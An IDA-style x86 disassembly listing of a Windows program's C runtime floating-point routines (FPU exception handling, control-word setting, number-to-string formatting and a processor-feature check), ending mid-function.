jz short loc_421A7C
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_421A7C: ; CODE XREF: sub_42194C+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_421ABB
cmp eax, 400h
jz short loc_421AAD
cmp eax, 800h
jz short loc_421AA1
cmp eax, ecx
jnz short loc_421AC1
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_421AC1
; ---------------------------------------------------------------------------
loc_421AA1: ; CODE XREF: sub_42194C+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_421AB7
; ---------------------------------------------------------------------------
loc_421AAD: ; CODE XREF: sub_42194C+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_421AB7: ; CODE XREF: sub_42194C+15Fj
mov [eax], ecx
jmp short loc_421AC1
; ---------------------------------------------------------------------------
loc_421ABB: ; CODE XREF: sub_42194C+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_421AC1: ; CODE XREF: sub_42194C+14Bj
; sub_42194C+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_421AEC
cmp eax, 200h
jz short loc_421ADF
cmp eax, ecx
jnz short loc_421AF9
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_421AF9
; ---------------------------------------------------------------------------
loc_421ADF: ; CODE XREF: sub_42194C+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_421AF7
; ---------------------------------------------------------------------------
loc_421AEC: ; CODE XREF: sub_42194C+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_421AF7: ; CODE XREF: sub_42194C+19Ej
mov [eax], ecx
loc_421AF9: ; CODE XREF: sub_42194C+189j
; sub_42194C+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_42207A
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call dword_427050 ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_421B73
and dword ptr [esi], 0FFFFFFFEh
loc_421B73: ; CODE XREF: sub_42194C+222j
test byte ptr [eax+8], 8
jz short loc_421B7C
and dword ptr [esi], 0FFFFFFFBh
loc_421B7C: ; CODE XREF: sub_42194C+22Bj
test byte ptr [eax+8], 4
jz short loc_421B85
and dword ptr [esi], 0FFFFFFF7h
loc_421B85: ; CODE XREF: sub_42194C+234j
test byte ptr [eax+8], 2
jz short loc_421B8E
and dword ptr [esi], 0FFFFFFEFh
loc_421B8E: ; CODE XREF: sub_42194C+23Dj
test [eax+8], bl
jz short loc_421B96
and dword ptr [esi], 0FFFFFFDFh
loc_421B96: ; CODE XREF: sub_42194C+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_421BCA
dec ecx
jz short loc_421BBE
dec ecx
jz short loc_421BB4
dec ecx
jnz short loc_421BCC
or byte ptr [esi+1], 0Ch
jmp short loc_421BCC
; ---------------------------------------------------------------------------
loc_421BB4: ; CODE XREF: sub_42194C+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_421BC6
; ---------------------------------------------------------------------------
loc_421BBE: ; CODE XREF: sub_42194C+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_421BC6: ; CODE XREF: sub_42194C+270j
mov [esi], ecx
jmp short loc_421BCC
; ---------------------------------------------------------------------------
loc_421BCA: ; CODE XREF: sub_42194C+257j
and [esi], edx
loc_421BCC: ; CODE XREF: sub_42194C+260j
; sub_42194C+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_421BEC
dec ecx
jz short loc_421BE3
dec ecx
jnz short loc_421BF5
and [esi], edx
jmp short loc_421BF5
; ---------------------------------------------------------------------------
loc_421BE3: ; CODE XREF: sub_42194C+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_421BF3
; ---------------------------------------------------------------------------
loc_421BEC: ; CODE XREF: sub_42194C+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_421BF3: ; CODE XREF: sub_42194C+29Ej
mov [esi], ecx
loc_421BF5: ; CODE XREF: sub_42194C+291j
; sub_42194C+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42194C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421BFF proc near ; CODE XREF: sub_4218B4+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_421C2A
test byte ptr [ebp+arg_8], bl
jz short loc_421C2A
push ebx
call sub_4220AC
pop ecx
and edi, 0FFFFFFF7h
jmp loc_421DF4
; ---------------------------------------------------------------------------
loc_421C2A: ; CODE XREF: sub_421BFF+15j
; sub_421BFF+1Aj
test al, 4
jz short loc_421C44
test byte ptr [ebp+arg_8], 4
jz short loc_421C44
push 4
call sub_4220AC
pop ecx
and edi, 0FFFFFFFBh
jmp loc_421DF4
; ---------------------------------------------------------------------------
loc_421C44: ; CODE XREF: sub_421BFF+2Dj
; sub_421BFF+33j
test al, bl
jz loc_421D1E
test byte ptr [ebp+arg_8], 8
jz loc_421D1E
push 8
call sub_4220AC
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_421CF6
cmp ecx, 400h
jz short loc_421CCE
cmp ecx, 800h
jz short loc_421CA6
cmp ecx, eax
jnz loc_421D16
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fld dbl_43D3F0
fnstsw ax
sahf
ja short loc_421C9E
fchs
loc_421C9E: ; CODE XREF: sub_421BFF+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421D14
; ---------------------------------------------------------------------------
loc_421CA6: ; CODE XREF: sub_421BFF+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fnstsw ax
sahf
jbe short loc_421CBE
fld dbl_43D3E0
jmp short loc_421CC6
; ---------------------------------------------------------------------------
loc_421CBE: ; CODE XREF: sub_421BFF+B5j
fld dbl_43D3F0
fchs
loc_421CC6: ; CODE XREF: sub_421BFF+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421D14
; ---------------------------------------------------------------------------
loc_421CCE: ; CODE XREF: sub_421BFF+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fnstsw ax
sahf
jbe short loc_421CE6
fld dbl_43D3F0
jmp short loc_421CEE
; ---------------------------------------------------------------------------
loc_421CE6: ; CODE XREF: sub_421BFF+DDj
fld dbl_43D3E0
fchs
loc_421CEE: ; CODE XREF: sub_421BFF+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421D14
; ---------------------------------------------------------------------------
loc_421CF6: ; CODE XREF: sub_421BFF+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fld dbl_43D3E0
fnstsw ax
sahf
ja short loc_421D0E
fchs
loc_421D0E: ; CODE XREF: sub_421BFF+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_421D14: ; CODE XREF: sub_421BFF+A5j
; sub_421BFF+CDj ...
fstp qword ptr [ecx]
loc_421D16: ; CODE XREF: sub_421BFF+81j
and edi, 0FFFFFFFEh
jmp loc_421DF4
; ---------------------------------------------------------------------------
loc_421D1E: ; CODE XREF: sub_421BFF+47j
; sub_421BFF+51j
test al, 2
jz loc_421DF4
test byte ptr [ebp+arg_8], 10h
jz loc_421DF4
push esi
xor esi, esi
test al, 10h
jz short loc_421D39
mov esi, ebx
loc_421D39: ; CODE XREF: sub_421BFF+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_427860
fnstsw ax
sahf
jz loc_421DE2
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_421FAB
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_421D84
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_421DD8
; ---------------------------------------------------------------------------
loc_421D84: ; CODE XREF: sub_421BFF+17Aj
fld [ebp+var_C]
fcomp dbl_427860
fnstsw ax
sahf
jnb short loc_421D96
mov edx, ebx
jmp short loc_421D98
; ---------------------------------------------------------------------------
loc_421D96: ; CODE XREF: sub_421BFF+191j
xor edx, edx
loc_421D98: ; CODE XREF: sub_421BFF+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_421DCC
sub eax, ecx
loc_421DAF: ; CODE XREF: sub_421BFF+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_421DBA
test esi, esi
jnz short loc_421DBA
mov esi, ebx
loc_421DBA: ; CODE XREF: sub_421BFF+1B3j
; sub_421BFF+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_421DC6
or byte ptr [ebp+var_C+3], 80h
loc_421DC6: ; CODE XREF: sub_421BFF+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_421DAF
loc_421DCC: ; CODE XREF: sub_421BFF+1ACj
test edx, edx
jz short loc_421DD8
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_421DD8: ; CODE XREF: sub_421BFF+183j
; sub_421BFF+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_421DE4
; ---------------------------------------------------------------------------
loc_421DE2: ; CODE XREF: sub_421BFF+14Ej
mov esi, ebx
loc_421DE4: ; CODE XREF: sub_421BFF+1E1j
test esi, esi
pop esi
jz short loc_421DF1
push 10h
call sub_4220AC
pop ecx
loc_421DF1: ; CODE XREF: sub_421BFF+1E8j
and edi, 0FFFFFFFDh
loc_421DF4: ; CODE XREF: sub_421BFF+26j
; sub_421BFF+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_421E0B
test byte ptr [ebp+arg_8], 20h
jz short loc_421E0B
push 20h
call sub_4220AC
pop ecx
and edi, 0FFFFFFEFh
loc_421E0B: ; CODE XREF: sub_421BFF+1F9j
; sub_421BFF+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_421BFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)
sub_421E16 proc near ; CODE XREF: sub_421861+2Bp
; sub_4218B4+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_421EC4
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_421E81
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_422089
lea eax, [ebp+var_20]
push eax
call sub_42482D
add esp, 0Ch
test eax, eax
jnz short loc_421E7B
push esi
call sub_421E9E
pop ecx
loc_421E7B: ; CODE XREF: sub_421E16+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_421E81: ; CODE XREF: sub_421E16+14j
push 0FFFFh
push [ebp+arg_20]
call sub_422089
push [ebp+arg_0]
call sub_421E9E
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_421E16 endp
; =============== S U B R O U T I N E =======================================
sub_421E9E proc near ; CODE XREF: sub_4218B4+7Dp
; sub_421E16+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_421EB9
jle short locret_421EC3
cmp eax, 3
jg short locret_421EC3
mov dword_4DBDDC, 22h
retn
; ---------------------------------------------------------------------------
loc_421EB9: ; CODE XREF: sub_421E9E+7j
mov dword_4DBDDC, 21h
locret_421EC3: ; CODE XREF: sub_421E9E+9j
; sub_421E9E+Ej
retn
sub_421E9E endp
; =============== S U B R O U T I N E =======================================
sub_421EC4 proc near ; CODE XREF: sub_421E16+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43D308
loc_421ECB: ; CODE XREF: sub_421EC4+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_421EE1
add eax, 8
inc ecx
cmp eax, offset dbl_43D3E0
jl short loc_421ECB
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_421EE1: ; CODE XREF: sub_421EC4+Dj
mov eax, off_43D30C[ecx*8]
retn
sub_421EC4 endp
; =============== S U B R O U T I N E =======================================
sub_421EE9 proc near ; CODE XREF: sub_4218B4+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_421EF5
push 5
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421EF5: ; CODE XREF: sub_421EE9+6j
test al, 8
jz short loc_421EFD
push 1
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421EFD: ; CODE XREF: sub_421EE9+Ej
test al, 4
jz short loc_421F05
push 2
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421F05: ; CODE XREF: sub_421EE9+16j
test al, 1
jz short loc_421F0D
push 3
loc_421F0B: ; CODE XREF: sub_421EE9+Aj
; sub_421EE9+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_421F0D: ; CODE XREF: sub_421EE9+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_421EE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421F16(double)
sub_421F16 proc near ; CODE XREF: sub_41D055:loc_41D0DBp
; sub_41D19B:loc_41D221p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_421F16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421F28(double,int)
sub_421F28 proc near ; CODE XREF: sub_421FAB+82p
; sub_421FAB+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_421F28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F51 proc near ; CODE XREF: sub_41D055+31p
; sub_41D19B+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_421F68
cmp [ebp+arg_0], edx
jnz short loc_421F7A
push 1
jmp short loc_421FA4
; ---------------------------------------------------------------------------
loc_421F68: ; CODE XREF: sub_421F51+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_421F7A
cmp [ebp+arg_0], edx
jnz short loc_421F7A
push 2
jmp short loc_421FA4
; ---------------------------------------------------------------------------
loc_421F7A: ; CODE XREF: sub_421F51+11j
; sub_421F51+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_421F8D
push 3
jmp short loc_421FA4
; ---------------------------------------------------------------------------
loc_421F8D: ; CODE XREF: sub_421F51+36j
cmp cx, 7FF0h
jnz short loc_421FA7
test [ebp+arg_4], 7FFFFh
jnz short loc_421FA2
cmp [ebp+arg_0], edx
jz short loc_421FA7
loc_421FA2: ; CODE XREF: sub_421F51+4Aj
push 4
loc_421FA4: ; CODE XREF: sub_421F51+15j
; sub_421F51+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421FA7: ; CODE XREF: sub_421F51+41j
; sub_421F51+4Fj
xor eax, eax
pop ebp
retn
sub_421F51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421FAB(double,int)
sub_421FAB proc near ; CODE XREF: sub_421BFF+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_427860
push esi
fnstsw ax
sahf
jnz short loc_421FCB
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_422061
; ---------------------------------------------------------------------------
loc_421FCB: ; CODE XREF: sub_421FAB+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_42203A
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_421FE3
cmp dword ptr [ebp+arg_0], ecx
jz short loc_42203A
loc_421FE3: ; CODE XREF: sub_421FAB+31j
fld [ebp+arg_0]
fcomp dbl_427860
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_421FFB
push 1
pop eax
jmp short loc_421FFD
; ---------------------------------------------------------------------------
loc_421FFB: ; CODE XREF: sub_421FAB+49j
xor eax, eax
loc_421FFD: ; CODE XREF: sub_421FAB+4Ej
; sub_421FAB+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_422016
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_422010
or dword ptr [ebp+arg_0+4], 1
loc_422010: ; CODE XREF: sub_421FAB+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_421FFD
; ---------------------------------------------------------------------------
loc_422016: ; CODE XREF: sub_421FAB+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_422024
or byte ptr [ebp+arg_0+7], 80h
loc_422024: ; CODE XREF: sub_421FAB+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421F28
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_422061
; ---------------------------------------------------------------------------
loc_42203A: ; CODE XREF: sub_421FAB+28j
; sub_421FAB+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421F28
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_422061: ; CODE XREF: sub_421FAB+1Bj
; sub_421FAB+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_421FAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42206C proc near ; CODE XREF: sub_42194C+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_42206C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42207A proc near ; CODE XREF: sub_42194C+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_42207A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422089 proc near ; CODE XREF: sub_41D055+13p
; sub_41D055+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_422089 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4220AC proc near ; CODE XREF: sub_421BFF+1Dp
; sub_421BFF+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_4220C3
fld tbyte_43D408
fistp [ebp+arg_0]
wait
loc_4220C3: ; CODE XREF: sub_4220AC+Bj
test cl, 8
jz short loc_4220D8
fstsw ax
fld tbyte_43D408
fstp [ebp+var_8]
wait
fstsw ax
loc_4220D8: ; CODE XREF: sub_4220AC+1Aj
test cl, 10h
jz short loc_4220E7
fld tbyte_43D414
fstp [ebp+var_8]
wait
loc_4220E7: ; CODE XREF: sub_4220AC+2Fj
test cl, 4
jz short loc_4220F5
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_4220F5: ; CODE XREF: sub_4220AC+3Ej
test cl, 20h
jz short locret_422100
fldpi
fstp [ebp+var_8]
wait
locret_422100: ; CODE XREF: sub_4220AC+4Cj
leave
retn
sub_4220AC endp
; =============== S U B R O U T I N E =======================================
sub_422102 proc near ; CODE XREF: sub_41D124+Fp
push 30000h
push 10000h
call sub_424865
pop ecx
pop ecx
retn
sub_422102 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422114 proc near ; CODE XREF: sub_422152:loc_422176j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_427870
fstp [ebp+var_8]
fld dbl_427868
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_4276F8
fnstsw ax
sahf
jbe short loc_42214E
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_42214E: ; CODE XREF: sub_422114+33j
xor eax, eax
leave
retn
sub_422114 endp
; =============== S U B R O U T I N E =======================================
sub_422152 proc near ; CODE XREF: sub_41D124+5p
push offset aKernel32 ; "KERNEL32"
call dword_4270A4 ; GetModuleHandleA
test eax, eax
jz short loc_422176
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call dword_4270C4 ; GetProcAddress
test eax, eax
jz short loc_422176
push 0
call eax ; sub_41D124
retn
; ---------------------------------------------------------------------------
loc_422176: ; CODE XREF: sub_422152+Dj
; sub_422152+1Dj
jmp sub_422114
sub_422152 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42217B proc near ; CODE XREF: sub_41FF3F+3CBp
; DATA XREF: sub_41D13C+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_41DFEC
cmp eax, 65h
pop ecx
jz short loc_4221BB
loc_42218F: ; CODE XREF: sub_42217B+3Ej
inc esi
cmp dword_43D084, 1
jle short loc_4221A8
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4221B7
; ---------------------------------------------------------------------------
loc_4221A8: ; CODE XREF: sub_42217B+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 4
loc_4221B7: ; CODE XREF: sub_42217B+2Bj
test eax, eax
jnz short loc_42218F
loc_4221BB: ; CODE XREF: sub_42217B+12j
mov cl, byte_43D088
mov al, [esi]
mov [esi], cl
inc esi
loc_4221C6: ; CODE XREF: sub_42217B+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_4221C6
pop esi
retn
sub_42217B endp
; =============== S U B R O U T I N E =======================================
sub_4221D5 proc near ; CODE XREF: sub_41FF3F+3E2p
; DATA XREF: sub_41D13C+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_43D088
mov cl, [eax]
test cl, cl
jz short loc_4221F1
loc_4221E5: ; CODE XREF: sub_4221D5+1Aj
cmp cl, dl
jz short loc_4221F1
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_4221E5
loc_4221F1: ; CODE XREF: sub_4221D5+Ej
; sub_4221D5+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_422222
loc_4221F8: ; CODE XREF: sub_4221D5+34j
mov cl, [eax]
test cl, cl
jz short loc_42220B
cmp cl, 65h
jz short loc_42220B
cmp cl, 45h
jz short loc_42220B
inc eax
jmp short loc_4221F8
; ---------------------------------------------------------------------------
loc_42220B: ; CODE XREF: sub_4221D5+27j
; sub_4221D5+2Cj ...
mov ecx, eax
loc_42220D: ; CODE XREF: sub_4221D5+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_42220D
cmp [eax], dl
jnz short loc_422218
dec eax
loc_422218: ; CODE XREF: sub_4221D5+40j
; sub_4221D5+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_422218
locret_422222: ; CODE XREF: sub_4221D5+21j
retn
sub_4221D5 endp
; =============== S U B R O U T I N E =======================================
sub_422223 proc near ; DATA XREF: sub_41D13C+28o
; .packed:off_43D430o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_427860
fnstsw ax
sahf
jb short loc_422238
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422238: ; CODE XREF: sub_422223+Fj
xor eax, eax
retn
sub_422223 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42223B proc near ; CODE XREF: sub_420DB0+430p
; DATA XREF: sub_41D13C+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_422264
lea eax, [ebp+var_8]
push eax
call sub_424D28
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_422264: ; CODE XREF: sub_42223B+Cj
lea eax, [ebp+arg_8]
push eax
call sub_424D55
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_42223B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422279 proc near ; CODE XREF: sub_4224F6+17p
; sub_422540+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_4DBE5C, 0
push ebx
push esi
jz short loc_4222AE
mov ebx, [ebp+arg_8]
mov eax, dword_4DBE58
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_422591
pop ecx
pop ecx
jmp short loc_4222E6
; ---------------------------------------------------------------------------
loc_4222AE: ; CODE XREF: sub_422279+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_424DF9
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_424D82
add esp, 14h
loc_4222E6: ; CODE XREF: sub_422279+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_4222F2
mov byte ptr [eax], 2Dh
inc eax
loc_4222F2: ; CODE XREF: sub_422279+73j
